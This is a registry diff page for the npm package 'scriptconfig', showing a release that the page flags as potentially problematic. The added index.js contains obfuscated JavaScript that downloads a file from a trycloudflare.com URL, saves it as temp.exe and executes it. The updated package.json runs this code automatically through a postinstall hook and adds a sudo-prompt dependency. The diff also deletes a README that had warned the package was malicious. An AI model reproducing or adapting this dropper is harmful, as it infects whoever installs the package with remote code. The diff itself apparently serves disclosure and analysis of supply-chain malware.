scriptconfig 0.0.1-security → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of scriptconfig might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x3d90(){const _0xd5ad8c=['Error\x20running\x20the\x20executable:\x20','buffer','join','error','3290462BbVndp','74470utTHUH','1793238oUGwnz','child_process','3276951mssMXi','writeFile','14339079rVRkyv','1EaGbuK','15223632ZAkFRV','627KvaCOY','HTTP\x20error!\x20status:\x20','path','255912kPJajN','status','10vPOIqN','7tcspPM','temp.exe'];_0x3d90=function(){return _0xd5ad8c;};return _0x3d90();}const _0xfb052b=_0x6c02;(function(_0x164db6,_0x29954a){const _0x3d12fd=_0x6c02,_0x124d02=_0x164db6();while(!![]){try{const _0x8f9fa8=-parseInt(_0x3d12fd(0x15d))/0x1*(-parseInt(_0x3d12fd(0x156))/0x2)+-parseInt(_0x3d12fd(0x15a))/0x3+-parseInt(_0x3d12fd(0x162))/0x4+-parseInt(_0x3d12fd(0x14f))/0x5*(-parseInt(_0x3d12fd(0x158))/0x6)+parseInt(_0x3d12fd(0x150))/0x7*(parseInt(_0x3d12fd(0x15e))/0x8)+-parseInt(_0x3d12fd(0x15c))/0x9+parseInt(_0x3d12fd(0x157))/0xa*(-parseInt(_0x3d12fd(0x15f))/0xb);if(_0x8f9fa8===_0x29954a)break;else _0x124d02['push'](_0x124d02['shift']());}catch(_0x3a60c4){_0x124d02['push'](_0x124d02['shift']());}}}(_0x3d90,0xed496));function _0x6c02(_0x45ef8b,_0x3ce71d){const _0x3d9091=_0x3d90();return _0x6c02=function(_0x6c0266,_0x286854){_0x6c0266=_0x6c0266-0x14f;let _0x3b5a08=_0x3d9091[_0x6c0266];return _0x3b5a08;},_0x6c02(_0x45ef8b,_0x3ce71d);}const fs=require('fs-extra'),path=require(_0xfb052b(0x161)),fetch=require('node-fetch'),{exec}=require(_0xfb052b(0x159)),exeFileName=_0xfb052b(0x151),downloadUrl='https://dean-earnings-directed-aside.trycloudflare.com/home',exeFilePath=path[_0xfb052b(0x154)](__dirname,exeFileName);async function downloadFile(_0x12797b,_0x1653eb){const _0x2fa470=_0xfb052b,_0x2496e9=await fetch(_0x12797b);if(!_0x2496e9['ok'])throw new Error(_0x2fa470(0x160)+_0x2496e9[_0x2fa470(0x163)]);const _0x336a32=await _0x2496e9[_0x2fa470(0x153)]();await fs[_0x2fa470(0x15b)](_0x1653eb,_0x336a32);}async function runExecutable(){const _0x22672e=_0xfb052b;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x194712=>{const _0x2a4100=_0x6c02;_0x194712&&console[_0x2a4100(0x155)](_0x2a4100(0x152)+_0x194712);});}catch(_0x5148c5){console[_0x22672e(0x155)]('Download\x20error:\x20'+_0x5148c5);}}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "scriptconfig",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.4",
|
4
|
+
"description": "Pkg",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=scriptconfig for more information.
|